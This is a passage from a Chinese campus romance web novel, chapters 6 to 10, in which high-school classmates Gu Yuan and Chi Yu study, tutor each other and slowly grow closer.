迟瑜一只手撑着下巴，狭长的眼眸漆黑冷淡，语调自然地问道：“你以前认识她？”
“是啊，我和女神是一个初中的。”
舌尖轻抵齿底，迟瑜又问：“很多人喜欢她？”
言酥点头，“超多人。”
江皓阳拍手，“顾姐牛逼啊。”
“看你的书。”迟瑜睨他一眼，翻开草稿本开始做题。
言酥扭回脑袋。
她刚要问什么来着？
办公室里
顾鸢低着头听着林主任的说教。
“顾鸢同学啊，老师是很看好你的，你们这个年纪，最重要的是什么？是学习。凡是干扰你学习的，那就一定要拒绝。在一中，最忌讳的就是早乱（恋）……”
听了四十分钟的紧箍咒，在曹军平的极力保证下，顾鸢才终于被解放。
一回到教室，顾鸢就累的趴在桌子上把头埋在臂弯里。
江皓阳小声嘀咕，“哥，顾姐不会被说哭了吧，那个林德全去年就把一个学姐说哭了，学姐后来都不愿意来学校了。”
迟瑜沉着脸，唇线僵直，拉着江皓阳出门。
眯了几分钟，回了血，顾鸢打算做题。
言酥看到从后门进来的两人惊呼一声，“组长，你们这是去大采购了？”
江皓阳把零食分给几人，“不要客气，这是组长提前奖励我们的，预祝我们第一次月考取得好成绩。”
被分到的棉花糖的顾鸢怔住。
“提前的奖励？”
因为刚才趴着，少女额前的刘海被揉乱，一双眼睛雾蒙蒙的，嗓音轻软，“组长，你也太破费了。”
迟瑜手伸到半空，顾鸢以为他是要自己的糖，心里腹诽。
怎么给了还要收回去。
虽然这样想着，但还是把东西放他手上。
迟瑜轻咳一声收回手，“不是，你刘海乱了。”
顾鸢扒拉两下，“现在呢？”
“嗯”
上课铃一响大家都转回去坐好，迟瑜盯着书上的单词，发现上面的字母都在移动。
顾鸢扭回头，撕开包装偷偷往嘴里含了一颗。
晚二下了之后天已经完全黑了，顾鸢在教室等老顾来接他。
发现班里还有同学没走，顾鸢问言酥，“酥酥，你们还不回吗？”
言酥拆了一包零食放到桌子中间示意顾鸢吃，“还早呢，大家一般会待到十一点再回。”
宿舍十一点半准
6. 祖宗
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Q.Q群里的消息在轰炸。
言酥：【我们明天一起去图书馆吧】
江不是和尚：【别了吧大学霸，咱们就放几个小时的假，明晚还要上自习，歇会儿吧】
【真的，算了吧】
徐百川：【我觉得可以】
【去图书馆】
顾鸢：【我早上请个假】
言酥：【女神你咋啦】
顾鸢：【有点感冒】
陈哲明：【组长我也要请假，明天回趟老家】
迟瑜手指戳着屏幕。
轻哼一声，“果然娇气。”
—
顾鸢倒也不是因为感冒，就是单纯的想好好睡一觉，把这六天缺的都给补回来。
一觉睡地天昏地暗，顾鸢是被瓷器摔碎的声音吵醒的。
打开手机看了一眼，已经十一点了。
北岸图书馆周末是全天开放，顾鸢到了之后，找了一个安静的地方坐下。
开学这些天她也想清楚了，她是喜欢弹琴，可对于走艺考而言，她更想参加高考。
做完了一套物理卷子，正要对答案，对面坐下两个人。
顾鸢正对面坐的是迟瑜，他身穿黑T搭黑色工装裤，眉眼间透着几分冷意，五官棱角分明，带着一丝侵略感。
浑身上下给人一种暗示，别惹我。
江皓阳正要说话，迟瑜扭头睨了他一眼。
顾鸢抿了抿唇，把书包里的零食分给两人。
她想在这雷区蹦跶一下。
江皓阳看到包装，惊得眼睛都瞪大了。
迟瑜正翻开书，一包巧克力进入眼帘。
白皙的手指按着混色的包装袋，指尖轻点了一下，意思是给他的。
迟瑜抬眸，对面的少女露着盈盈笑意。
一看就很好骗的那种。
“看书。”
“哦。”
江百川和言酥到的时候顾鸢对完了答案。
顾鸢把余下的零食分给言酥和徐百川。
“哇，这个牌子的巧克力很难买的。”
顾鸢对这些不太清楚，都是姜之遥出差回来给她带的。
“喜欢的话明天再带给你。”
言酥小鸡啄米似的点头，“好啊好啊。”
把余下的作业写完，顾鸢准备出去接水，拿到杯子才发现水接满了。
言酥把草稿本推给她看。
【组长刚才出去帮你接的】
对面这会儿没人，物理书还翻着，旁边是演算的稿纸，笔迹苍劲有力。
顾鸢在那句话下面画了个勾，从书包里拿了纸巾往出走。
卫生间在楼道的尽头，顾鸢出来的时候又碰到了隔壁班那个同学。
男生看到顾鸢，眼眸蓦然瞪大，慌慌张张地转身跑开。
顾鸢：她是浑水猛兽吗？
迟瑜紧跟着那个男生出来，觑了眼跑走的男生，又垂眸看向发呆的某人。
“不走？”
“啊？”顾鸢扬起脖子，正巧看到男生的喉结，许是因为察觉到了她的视线，那处竟然滚动了一下。
以前怎么没发现，男生这个地方长这样。
迟瑜往后退了一步，抬手遮唇轻咳一声，声线有些冷，“不走？”
“走。”顾鸢别看眼，有些心虚。
看着前面那颗黝黑的脑袋，少年下颚绷紧，眉心微蹙。
顾鸢想起什么，猛地扭头。
迟瑜来不及收脚，两人之间的距离仅剩0.1厘米。
唰
迟瑜猛地往后退了一步，冷着脸唇线僵直。
顾鸢舔了舔唇瓣，嗓音发涩，“我就是想谢谢你帮我接水。”
其实她本来想问那个男生的事，但话到嘴边就拐了个弯。
迟瑜视线落在她身上片刻，女生微仰着小脸，一双鹿眸澄澈清透，错开目光，他唇角勾起浅浅的弧度，不咸不淡地说：“礼尚往来而已，别多想。”
“嗯？”
顾鸢看着走远的背影，仔细琢磨这句话的意思。
等回到座位上，看到言酥吃巧克力，顾鸢才反应过来礼尚往来说的是什么意思。
言酥把本子推给她。
【刚组长进来的时候脸像结冰了一样，他咋啦？】
顾鸢撩起眼帘觑了一眼对面的人，拿笔写道：【不知道，便秘了吧】
言酥拧眉，一会儿又了然地点头。
一直到下午五点，江皓阳终于忍不住了开口道：“各位哥哥姐姐，咱们回吧，我请大家吃饭。”
言酥：“吃什么？”
江皓阳：“食堂。”
顾鸢问言酥，“食堂的饭怎么样？”
言酥摇头，“不成，我吃一次肚子就会不舒服。”
“不是，三楼新出了干锅，咱们班有人去了说很好吃的。”
徐百川也附和，“我也听说不错，反正江少请客，不如去试试。”
迟瑜半路接了个电话就走了，最终四个人去食堂吃。
干锅有些辣，顾鸢吃完脸都辣红了。
一回教室，就是各种补作业。
赶在上课之前，要把座位换好，顾鸢是第八组，要换到原先第一组的位置，其他组顺位往下挪。
应了言酥的话，顾鸢到教室没一会儿肚子就不舒服。
换座位也是个大工程，大家都是带着自己的桌子一起搬家的，顾鸢手刚伸出去结果手落了空。
“跟上。”
少年嗓音冷淡，抓着桌边的手臂劲瘦有力，轻松就把桌子抬起。
“哦。”顾鸢提起椅子跟过去。
顾鸢正好坐在靠窗的位置，扭头就能看到教学楼下的花园。
“谢谢。”
迟瑜撩起眼皮看她一眼，没说话。
顾鸢从书包里翻出物理作业正要放他桌子上，岂料人家头也没抬就说道：“不用……”
把作业放他桌子上，顾鸢解释了一句，“物理作业。”
男生终于大发慈悲地抬眼，看着眼前摊开的物理试卷，舌尖抵着下颚，从鼻腔发出一声嗯。
靠！自作多情了。
看了会儿书，顾鸢越来越不舒服，去了趟卫生间回来就趴在桌子上，缓了一会儿打算去接水。
前排的陈哲明正好拿着杯子转身，“学委，我帮你接。”
“谢谢。”顾鸢有气无力地说了一声。
言酥进来一看顾鸢脸都白了，紧张的不行，“你怎么了？”
顾鸢支起脑袋，眼皮无力地耷拉着，“酥酥，你能陪我去趟校医室吗？”
言酥扶着顾鸢刚出教学楼走了几步，碰到了打完篮球回来的迟瑜和江皓阳。
“顾姐这是怎么了？”
说起这个言酥就来气，“还不都怪你，非要带我们去食堂吃饭。”
听到江皓阳说话的声音，靠在言酥怀里的顾鸢虚虚地睁开了眼睛。
7. 伤心欲绝
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回家之后，顾鸢洗漱完才看到Q.Q群里的消息。
言酥问她，【你怎么样了？】
顾鸢：【没事了】
江皓阳发了一个跪地痛哭的表情包。
迟瑜捏着手机，想起某人那副楚楚可怜的样子，薄唇吐出两个字，“娇气。”
这话被刚从厨房出来的叶蔓茹听到，“谁娇气？”
“没什么。”
迟瑜拿上手机回了卧室。
过了一分钟又出来把落下的水杯拿进去。
群里的都要被江皓阳的表情包刷屏了，迟瑜直接设置他禁言，往上滑了好一会儿，才看到顾鸢发的最后一条消息。
【真没事了】
盯着屏幕看了好一会儿，迟瑜才发现自己刚才的行为有多傻逼。
“靠！我有病吧。”
—
顾鸢被言酥拉着加入了学校的音乐社。以前也没看出来，这姑娘打起架子鼓来帅到没边。
大家知道顾鸢会弹钢琴之后纷纷要她弹一首。
“没事的学妹，随便弹一首就行。”
“学妹，要不弹梦中的婚礼吧，我好喜欢听这首。”
言酥也急忙点头，“我也想听。”
迟瑜和江皓阳刚上楼，就被琴声吸引了过去，江皓阳拉着迟瑜去门口听。
少女静静地端坐于琴前，手指在琴键上轻盈地穿梭跃动，音符如水流般涌出。
这一瞬，迟瑜觉得，她就该是娇贵的。
一曲毕，大家纷纷鼓掌。
女生轻抬下巴，白皙的脸颊晕着淡淡绯红，清澈透亮的眸子看起来灵气逼人，微一勾唇，脸颊上梨涡也浅浅显出。
眸光移动，恰好和那双漆黑狭长的眼对视，还没来得及细看，那人便离开了原地。
顾鸢未作他想，以为两人只是路过顺便看了一眼。
从音乐教室出来，顾鸢又被言酥拉着跑舞蹈社转了一圈才回教室。
刚坐下，迟瑜就跟在曹军平身后抱着一沓卷子进来。
“这节课咱们根据这段时间学的东西做个小测。”
“啊—”
底下响起一片哀嚎。
曹军平拿着黑板擦在讲桌边磕了磕，“都安静，小测出来了再哭也不迟。”
拿到卷子，顾鸢大致扫了一眼，看到最后一题的时候心里有些发虚。
做完又仔细检查了一遍，顾鸢一抬头就对上老曹的目光。
心里更虚。
终于挨到下课铃响，顾鸢如释重负的拿起卷子胳膊往后一伸，下一秒卷子被接住。
同桌俩人相继叹气。
言酥：“我觉得我完了？”
顾鸢：“我也是。”
“算了，吃东西去。”
曹军平终于答应晚一可以出去背书，吃了晚饭顾鸢和言酥买了奶茶拿书挡住脸边喝边慢悠悠地散步。
“你最后一题算出来多少？”
顾鸢想了想，“36？”
言酥：“我360？”
“啊哈，你俩偷吃。”
突然出现的声音吓得顾鸢呛住。
“咳—”
言酥拍着她的后背缓了一会儿才好。
“江皓阳，你说话能别那么大声吗？”
江皓阳委屈，“我没有啊，正常音量。”
“你还说……”
顾鸢坐在花坛边，被呛之后眼尾有些湿润，因为用力双颊也有些泛红。落日的余辉洒在她周身，为她渡上了一层光晕。
迟瑜的目光不受控制地落在她身上。
“顾鸢、言酥，吃东西扣一分。言酥、江皓阳，打架扣两分。”
徐百川试图求情。
余荔：“组长看到不管再扣一分。”
五人盯着余荔的背影，恨不得盯出一个洞来。
江皓阳：“这灭绝师太吧。”
迟瑜乜他一眼，“闭嘴，叫你光头你高兴？”
余荔一会儿功夫又记了好些人的名字。
看来大家也都彼此彼此。
顾鸢抬眸看向迟瑜。
以她的角度看过去，恰好可以看到男生笔直又冷硬的下颚线。
他是生气了吗？
晚一的时候，顾鸢和迟瑜被曹军平叫去办公室。
“是这样，我现在要去开会，你们俩赶在下课之前把卷子改了，顺便再把自己的问题找出来解决掉。”
办公室里的老师都去开会了，顾鸢拿着答案复印了两份，迟瑜抬脚勾了一个椅子大刺刺地坐下。
顾鸢正要给他答案，发现人家已经开始了。
“迟瑜？”
刺啦—
红笔拉出一条长线划破纸张。
少年抬眸，眉眼淡漠，语气生硬，“有事？”
“卷子分我一半。”
迟瑜从下面取了一部分给她。
顾鸢抿唇，“那个……”
“还有事？”语气比刚才更冷。
“笔。”
吧嗒，一支红笔丢顾鸢眼前。
顾鸢拿起笔开始改卷子。
办公室的空调开着，待了一会儿顾鸢觉得有些冷，扭头找了一圈遥控器没找到，脖子往下缩了缩。
突然，对面的人起身，径直走到窗边打开一扇窗户。
窗外的蝉鸣清晰的传了进来，耳边夹杂着笔尖触过纸张的声音。
两人对坐着，气氛静谧又安逸。
手下的卷子阅完，顾鸢没有发现自己的，反倒是迟瑜的那张，满是红色的勾，光是看着就很养眼。
顾鸢试探着叫他的名字，“迟瑜？”
男生这次连头都没抬，“有事？”
“你看到我的卷子了吗？”
哗啦
最上面的那张卷子移了个地方出现在她眼前。
85分，无奈叹息一声，顾鸢把错误的改正。
最后一道题的时候看了两遍答案才搞懂。自己试着做的时候又总会卡在一个地方。
对面就坐着一个大神，但这个大神脾气不太好。
算了，不耻下问，顶多被骂一顿。
“迟瑜？”
“说。”
“能不能帮我讲一下这道题？”顾鸢把卷子上的错题指给他看。
男生终于舍得把手里不知道哪个老师没收的小说放下，漆黑的瞳眸望过来，一动不动。
顾鸢眨了眨眼睫。
什么意思？
她把笔塞迟瑜手里。
心想这人款真大。
迟瑜看了一眼手心，任命地起身挪着椅子移了个位置在顾鸢左侧坐下。
顾鸢这才反应过来，人家是等着自己过去。
心下有些懊恼，一手拿着卷子一手拽住椅子往左移了移。
这样一来两人靠的就很近了，胳膊几乎挨到一起。
迟瑜握着笔的手指收紧，问道：“哪题？”
顾鸢：不是指过了？
想到是自己有求于人，伸手指上题号，“这题。”
这样一来，不可避免两人的胳膊触碰到一起。
仅一瞬就分开。
迟瑜只觉得右臂发麻，嗓音也发涩，喉结滚动了一下，他才出声，“你先看一遍题目。”
顾鸢认真读了一遍题目，“看完了。”
“注意看这儿……”
曹军平正要推门进来，隔着玻璃看到讲题的两人，默默收回了门把上的手。
迟瑜讲了一遍，顾鸢蹙眉。
“没听懂？”少年有些烦躁。
门外的曹军平一看这架势，连忙推开门进来。
脚步声响起，两人同时抬头。
曹军平语重心长地说道：“迟瑜，讲题要有耐心，我平时上课哪次不是三五遍重复着讲的。”
深吸一口气，迟瑜重新拿了一张A4纸当稿纸
8. 吃鱼
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周六下午放假，顾鸢去了教室自习，六点左右的时候才回家。
刚打开门缝，就听到里面传来的争吵声。
轻轻带上门出了小区，顾鸢漫无目的地走着。
尽管她一直麻痹自己，但仍无法改便父母频繁争吵的事实。
而每次吵架的导火索，都是她。
在电玩城待了近一个小时，顾鸢摸了摸饿扁的肚子打算去觅食。
正要过马路，扭头就看到迟瑜拽着江皓阳从里面出来。
顾鸢犹豫了两秒抬脚跟上。
“迟哥，咱们吃啥去？”
“随便”
“火锅？”
“太热”
“曹氏？”
“太辣”
“面？”
“太烫”
顾鸢在心里吐槽，这人毛病也是真多，不知道江皓阳是怎么受得了的。
顾鸢低头走路没有注意到前面，猝不及防就撞在了一个坚硬的后背上，撞得她眼前出现了好多星星。
“嘶”
顾鸢捂着额头，疼的小脸都皱起来了。
撞到人的罪魁祸首也很懵逼，正要转身骂人，结果看到捂着脑门一脸痛苦的顾鸢，到嘴边的话硬是止住了。
江皓阳诧异喊道：“顾姐，你怎么在这儿？”
“没事吧？”
清晰而磁性的声音从头顶响起，顾鸢抬起头直接撞进漆黑深邃眼眸里，视线交汇的一刹那，时间彷佛停滞了，周遭的喧闹也被隔开。
顾鸢垂下眼睫，粉唇吐出两个字，“有事。”
没看她都疼成这样了，还能说出这种废话。
迟瑜唇线僵直，垂眸凝着她，犹豫了几秒，拉起她的手腕往对面的药店走。
少女手腕纤细，皮肤滑腻，迟瑜觉得那只手上的血液都停止流动了。不敢用力，怕弄伤了她，又不想松手，脑海里下意识的想要多牵一会儿，就一会儿。
顾鸢踉跄一步跟上他，等反应过来的时候已经到了路中央。
药店店员看到有人进来，忙问道：“哪里受伤了？”
迟瑜松开手，往旁边站了一步，“她额头不下心撞到了。”
垂在身侧的手指曲着，指腹上似乎还残留着少女腕骨上的余温。
顾鸢拿下手，店员拿了发夹把刘海暂时夹住，白皙的额头上腥红十分醒目。
“姐姐，没肿吧？”
顾鸢嗓音轻软，稍有些哑，像是要哭。
店员：“小事，不打紧。”
她还以为怎么了。
迟瑜站在一旁，眉心皱得厉害，心里揪成一团，唇瓣用力抿了抿才开口说道：“对不起。”
“没事，嘶，真没事。”
江皓阳从小就是被揍大的，因此十分不理解，连血都没见，能有什么事。
他哥这反应是不是有点大了？
确实没什么事，就是撞红了，主要是顾鸢皮肤娇嫩，看着比较严重而已。
江皓阳看了眼手机，“不行了哥，我要回家了，我妈疯狂扣我了。”
“那什么，顾姐，咱们有机会再约啊。”
“你再不走阿姨电话就该打到我这儿了？”
像是为了印证他的话，下一秒迟瑜的手机果然响了起来。
江皓阳跑到路边拦车，“走了走了。”
顾鸢看着闪电般消失的背影喃喃，“江皓阳的妈妈很凶吗？”
迟瑜把她肩上的书包提起来，说道：“江皓阳太混了，阿姨要是不管的严一点，说不定这会儿已经出家了。”
“所以他才把头发剃光的？”顾鸢不明白，这个年纪的男生很臭美的随身都要带一个小镜子，怎么就下了这决心呢？
迟瑜言简意赅地说道：“因为他想要与众不同。”
顾鸢沉默了一会儿，“是挺与众不同的。”
整个宁宜一中就他一个这样。
两人还站在药店门口，顾鸢摸了摸已经被饿扁的肚子，迟疑了一下开口：“迟……”
“请你吃饭。”
“想吃什么？”
顾鸢：“吃鱼。”
迟瑜眸光错愕，“什么？”
意识到他可能想岔了，顾鸢解释道：“不是说你，我的意思是我想吃鱼，可以吃的那种鱼。”
迟瑜带着顾鸢到了一家烤鱼店。
“两位看看，要吃什么？”
迟瑜朝着顾鸢微扬下巴，服务员把菜单给顾鸢看，“小姑娘有什么忌口的吗？”
顾鸢掰着指头说道：“不吃茄子和豆腐。”
“葱姜蒜也不要。”
“不要太辣。”
“不要太咸。”
……
迟瑜倒了杯水放到她眼前。
暗道真难伺候。
“姐姐，就这些。”
“今天正好有免费的水果，要上一份吗？”
“什么水果？”
“芒果。”
顾鸢抿唇，“我芒果过敏。”
服务员讪笑离开。
迟瑜看到对面有家水果店，问她，“要吃什么水果？”
顾鸢捧着水杯顿住，“你要吃水果？”
迟瑜语气一噎，“你，你想吃什么？”
顾鸢抿了口水，随口道：“提子吧。”
迟瑜把书包放座位上，起身往外走。
顾鸢正刷着手机，眼前突然出现一盘洗过的青提。
“吃吧。”男生往后靠在沙发上，拿起手机开始翻动。
顾鸢惊讶，“这是你刚才去买的吗？”
“不是，店里的。”
外面买的，店里洗的。
迟瑜第一次觉得，女生真是个难伺候的物种，比如他妈，再比如眼前这个。
要是这辈子多来一个，他大概会疯。
不是，他有病了，想的什么乱七八糟的。
顾鸢是有点挑食的，但因为真的饿了，也没跟迟瑜客气。
吃饱喝足，顾鸢靠在椅背上摸着圆滚滚的肚子，满意的眯起眼睛，像只慵懒的小猫。
迟瑜从卫生间出来看到的就是这幅画面。
其实，也没多麻烦。
他唇边含着浅浅的笑，拎起书包屈指在桌上点了点，“好了就走。”
外面亮起各色的霓虹灯，街道上人流如织。
“是有什么活动吗？”顾鸢踮起脚往人群聚集处看，怕站不稳下意识抓住迟瑜的胳膊。
“嗯，有人在唱歌。”偏眸看着眼眸发光的女孩，迟瑜捏了捏手里的书包肩带，“要看看吗？”
“好啊。”
迟瑜跟在她身后往广场走。
围在人群中间的歌手唱的是一首民谣。
当你老了
头发白了
睡意昏沉
……
回家之后，顾鸢洗漱完坐在书桌前翻开日子本，余光落到一个盒子上，这是她在广场上买的，绿檀木的文玩手串。
当时觉得好看就买了，让她戴吧又不是很喜欢。
送人的话，应该可以吧。
—
周天晚上照例是顾绍珲来接人，上了车，顾鸢才发现车上还有人。
“妈妈？”
姜之遥还穿着职业装，脸上的表情也在看到顾鸢的时候缓和了一点，“这是妈妈专门给你买的，尝尝。”姜之遥说着把蛋糕递给她。
“谢谢妈妈。”
顾鸢高兴地接过，剜了一勺慢慢吃着。
姜之遥说道：“我知道你没有上钢琴课，浅浅，妈妈还是希望你能给自己留一条退路。”
顾鸢拿下勺子，抿紧嘴唇，低头不语。
“妈妈知道你压力很大，浅浅，妈妈也是为了你好，那天你考试出事，妈妈吓坏了。妈妈就是希望你以后能轻松一点。你能明白吗？”
顾鸢轻轻点了点头。
9. 间接接吻
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椅子上的少年差点摔下去，神色慌慌张张地开口，“谈、谈什么？”
不合适吧，太早了吧。
顾鸢想拿手机，发现手机在书包里。
她朝对面伸出手，“把你手机给我？”
迟瑜摸着手机，想给又不敢给，磨磨蹭蹭了好一会儿才从衣兜里掏出来。
再把手机交出去之前又道：“顾鸢，我觉得我们现在的年纪应该以学习为重。”
女孩蹙眉，把手机夺过去。迟瑜的手机没设密码，她打开Q.Q找到自己的头像，然后打开聊天框给他看。
“不是你说的，见面详谈。”
迟瑜：……
就像坐了过山车，这会儿好像还没落到实处。
半天，他憋出两个字，“可以。”
顾鸢点头，“好，补课费用你要怎么算。”
迟瑜拿起杯子喝了口水，沉默了一会儿才说道：“你应该看过我的入学成绩，我的数学和英语都需要提升，不如你帮我补习这两门。”
顾鸢蹙了蹙眉，开玩笑道：“那我好像有点亏了。”
迟瑜：“你除了物理，还有哪科需要补？”
顾鸢轻轻摇了摇头，“没了，我初中考试数学和英语一般情况都是满分，语文也稳定在一百三左右。”
迟瑜面色僵了一瞬，眉梢微扬，“那就是我需要给你出补课费？”
顾鸢点了点头，“嗯。”
“确实是这样。”
迟瑜往后靠在椅子上，语气闲散，“那你说怎么算？”
顾鸢拧眉思索了好久，说道：“要不你以后都帮我打水吧，直到你的英语和数学成绩都提上去。”
迟瑜来了兴致，又加了一句，“其实我语文也不是很好。”
顾鸢脱口而出，“那你要不卖身吧。”
迟瑜：？？？
“不是，我再想想。”顾鸢捧着水杯咬住下唇。
忽然灵光一闪，她道：“要不以后我的值日你都包了。”
迟瑜：“行。”
终于把补课的事处理好，顾鸢才发觉肚子有些饿。
迟瑜拿出一个蛋糕过来，“我请你的。”
顾鸢和池砚舟晚上吃的日料，她都没怎么吃饱，这会儿确实有些饿了，“谢谢。”
迟瑜出去了一会儿，也不知道从哪里买的粥，还是温的。
顾鸢吃着吃着鼻子开始发酸。
“可别感动哭了，就一杯粥而已。”
他又不会哄。
顾鸢吸了吸鼻子，“你想多了，是粥有些烫。”
迟瑜又起身去了趟后厨。
叶蔓茹笑着问：“同学啊。”
迟瑜：“就普通同学。”
“哦”叶蔓茹笑笑不挑明，“我之前说给你找补课老师你不同意，原来自己有打算啊。”
“真不是，是老曹说让我多跟她交流学习。”迟瑜知道她想多了，无奈解释。
叶蔓茹挑眉，“这么听话。”
“你还不走？”
“你们不走我怎么走，谁锁门。”
吃饱喝足，顾鸢也要回去了，正好迟瑜出来。
“迟瑜？”
“怎么？”
“你先借我二十块钱。”
—
迟瑜把顾鸢送回去，一进家门就迎上了叶蔓茹意味深长的目光。
他下意识道：“真不是你想的那样，是我们班主任让我帮她补物理。”
叶蔓茹坐在沙发上吃着草莓，闻言点了点头，“她物理不好吗？”
迟瑜搬了个小凳子坐下，想起顾鸢的成绩，胡乱揉了一把头发，“她只有物理不好。”
“哦~，明白了，恰好你只有物理好。”叶蔓茹起身拍了拍他的肩膀，“儿子啊，好好学习吧，别人家姑娘到时候问你题你都不会，然后等人家再换一个补习老师你哭都没地方哭。”
迟瑜僵着脖子仰头，语气有些虚，“我成绩还可以吧。”
“和人小姑娘差多少分？”
“也就还行吧。”
一说更没底气。
顾鸢中考缺考了，但就语文和数学来看，他们俩差的不是一星半点。
叶蔓茹悠悠叹息一声往房间走，“还行，就是不行喽。”
迟瑜：……
—
第二天迟瑜一到教室就蒙头补觉。
他做了一晚上的梦。梦里顾鸢问他题他不会，扭头就跟着那谁走了。
正烦躁呢，有人拿笔戳了戳他的胳膊。
“靠，有……”
迟瑜脸上烦躁的凶意没来得及收回去，眼底是明显的灰青，头发也乱乱的，也亏得他这张脸撑着，要是换做别人一定没眼看。
顾鸢抿了抿唇，“腿可以收一下吗。”
男生的腿一直伸到前面，她椅子都拉不开。
迟瑜绷着脸，起身拿着水杯往外走。
言酥弱弱开口，“他咋啦？”
顾鸢摇头，“我也不知道。”
“组长脾气也太不好了。”
“我也觉得，阴晴不定。”
徐百川掩唇轻咳一声。
顾鸢扭头就见正主站在他们身后，面色难看，眼神阴沉。
顾鸢觉得他很想炸毛的猫，捏了捏指尖，唇角微微扬起，“早上好。”
迟瑜：“嗯”
气不了一点。
又冷又拽地坐下，随便翻开一本书看，上面的字都在移动。
言酥在本子上写字推给顾鸢看。
【这就不生气了？】
【是吧】
九月已经过半，国庆收假回来就是月考，也就两周的时间。
顾鸢给自己定下的目标是同样的分数排进附中前三，这也是姜之遥的妥协。
课间操的时候，顾鸢突然感觉肚子不舒服，不过好在她有在书包里放卫生巾的习惯。
出操请假跟体委说一声就行，做完眼保健操，顾鸢跟江皓阳说了一声。
曹军平进来的时候，顾鸢正在帮值日生擦黑板。
“曹老师。”
“唉。”曹军平把课本和教案放到讲桌上，犹豫了一会儿开口，“顾鸢啊，实验一班的刘老师是不是找过你了？”
“没有啊，刘老师为什么要找我？”
曹军平迟疑了一会儿说道：“刘老师看了你初中的成绩，等月考结束如果你考得好，刘老师想要你去实验一班。”
顾鸢愣了几秒，“一中可以中途转班吗？”
曹军平：“规定上是不可以，但是刘老师的资历摆在那里，她想要人校领导也不会说什么。”
“当然你要是想去一班老师也不会拦你，这是你自己的选择。”
顾鸢正要说什么，下操后的同学进来了。
这件事顾鸢没放在心上，上课铃响了以后她就认真听课。
下课铃一响，教室里睡倒一片。
踌躇一会儿，迟瑜拿出昨天晚上写的卷子卷起来拍了拍顾鸢的胳膊，“那什么，问你道题。”
“稍等。”顾鸢把下节课要用的书拿出来，侧身问他，“哪道？”
迟瑜把试卷往前推，拿笔指在倒数第二题上。
这道题是有些难，很容易被绕进去。
顾鸢顺手拿过他手里的笔，指尖相触，微凉酥麻感席卷整条手臂。
顾鸢先看了一遍他的解题过程，笔尖停在一处，“你从这个地方就错了，应该这样……”
少女嗓音轻柔，复杂的题目就如缠绕在一起的一团丝线，那双纤细灵巧的手将其一根一根理出。
小脸严肃，浓密的睫毛随着她说话的声音煽动，迟瑜搁在腿上的手指微微蜷缩，喉结滚动了下。
讲完，顾鸢偏眸看他，“懂了吗？”
“没。”
顾鸢正欲再讲一遍，英语老师进来了。
“你中午几点到校？”
“我不回。”
不午睡肯定不行，顾鸢抿唇思考了一会儿，“我一点半来，可以给你讲半个小时。”
“好。”
英语老师上课之前先叫了几个同学去黑板上写单词，迟瑜就是其中一个。
站在讲台上的迟瑜第一次紧张了。
“吸引，引起什么的注意。”
“喜爱。”
“集中，特别关注。”
……
午睡之前顾鸢调好了闹铃，怕睡过头又跟保姆说了一声到时候叫醒她。
下午一点半，顾鸢到教室的时候迟瑜已经在了。
“你在看英语？”
迟瑜在做完形填空，二十个空对了一半。
看着红色的叉叉，他觉得很羞耻，高冷地嗯了一声。
顾鸢仔细看了一遍，“你都是排除了两个答案在二选一的时候出了错，我先给你
10. 呆滞
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迟瑜愣住，举着瓶子的手顿在半空中，看着女孩恬静的面孔，嗓子发涩，“你喝过的？”
顾鸢：？
“赔你一瓶成了吧，那么小气干什么，不就一瓶水。”
少年语气很急，直接把剩下的半瓶喝完，捏着空瓶起身，脚下的步子有些凌乱。
下课后小卖部。
江皓阳塞了一个雪糕给迟瑜，“哥你刚才不在状态，怎么回事？”
迟瑜咬着雪糕，莫名就联想到静静看着她的少女。
她真的很漂亮，皮肤很白，眼睛大，睫毛又浓又长，鼻子好看，嘴唇、也好看。
想着想着，迟瑜又想到他喝的那瓶水。
靠！她到底喝没喝？
上课铃声拉响之后学生断断续续进了教室，顾鸢刚拿出数学练习册，桌子上就出现一杯奶茶，红豆的，还是热的。
下课后顾鸢一边喝着奶茶一边做题，言酥小声问她，“怎么回事，组长为什么要给你买奶茶。”
顾鸢咬了下吸管，说道：“体育课的时候他不是把我的水喝了吗，赔给我的。”
“是嘛？”
“是啊。”
言酥看着顾鸢，欲言又止，最终还是把嘴里的话咽下去。
谁也不能打扰她女神学习。
—
上次吵架之后，姜之遥又出差了，晚上还是老顾来接她。
“浅浅，下个月爸爸也要去趟北京，要不爸爸叫姑姑来陪你。”
“不用。”顾鸢果断拒绝，“我自己可以，你什么时候走？”
“国庆放假就走，可能要去一个月，你一个人真的没问题吗？”顾绍辉不太放心，毕竟女儿也才十六岁。
顾鸢倒不是很在意，“没问题啊，不是还有刘阿姨。”
“我们浅浅公主真的长大了，爸爸回来给你带礼物。”
……
回家洗漱后，顾鸢拿出竞赛题开始做。
或许她还可以走竞赛这条路，倒时候能争取到保送名额也是多一份的保障。
顾鸢从小就参加各种数学竞赛，之前见徐百川的时候她就觉得有些眼熟，后来仔细一想，是参加竞赛的时候见到过。
凌晨的夜静谧又安逸，一盏盏台灯下是千千万万学子的影子。
好的成绩都是一分一秒拼出来的，顾鸢从不允许自己不好，这是她的骄傲。
—
周四下午是高一年级的拔河比赛，老曹花了半节课时间讲了战术，末了不忘提醒，“一切以安全为主，千万要小心。”
要下去集合的时候，迟瑜问了顾鸢一道题，等讲完教室里的人都走了。
迟瑜把手里的笔放下，踌躇片刻才叫她的名字，“顾鸢？”
“怎么？”
迟瑜的目光落在她身上停顿了一会儿才说道：“要是不舒服可以不参加。”
顾鸢眨眼，“我没有不舒服啊？”
“就是、”少年耳尖泛起一层薄红。
周一那天顾鸢一直蔫蔫的，回去之后他自己上网了解了一下，怕网上信息有误他又红着脸去问请教他妈，差点就被他妈的意味深长的目光看地钻地下去。
少年拿起桌子上的书又放下，视线飘忽不定，咽了咽嗓子说道：“你不是那个吗？反正你上去了作用也不大，我去帮你请个假说你不舒服不就行了。”
顾鸢一时没反应过来，“我哪个？”
迟瑜脸都红了，说话也开始结巴，“我，”
“你怎么了？不舒服？”
顾鸢抬起手背附在他额头上，语气疑惑，“不烫啊，你哪里不舒服？”
少年耳根爆红，语气急促，“不是我。”
“算了，走吧。”
顾鸢不明所以的和他往外走，言酥见她迟迟不下来正要上来叫她，“你和组长怎么才下来？”
反正也说不清楚，顾鸢便撒了个谎，“我去了趟卫生间，他在整理作业。”
“哦对。”言酥凑到顾鸢耳畔小声说道：“你不是来那个了吗，要不你就别参加了。”
“这不影响吧我……”
顾鸢话还没说完，言酥叫伸手打了声报告，“曹老师，顾鸢身体不舒服可以不用参加吗？”
顾鸢现在就是十五班的宝贝疙瘩，往大了说那就是学校的宝贝疙瘩，那是三年以后可以冲状元的，曹军平当下就同意了。
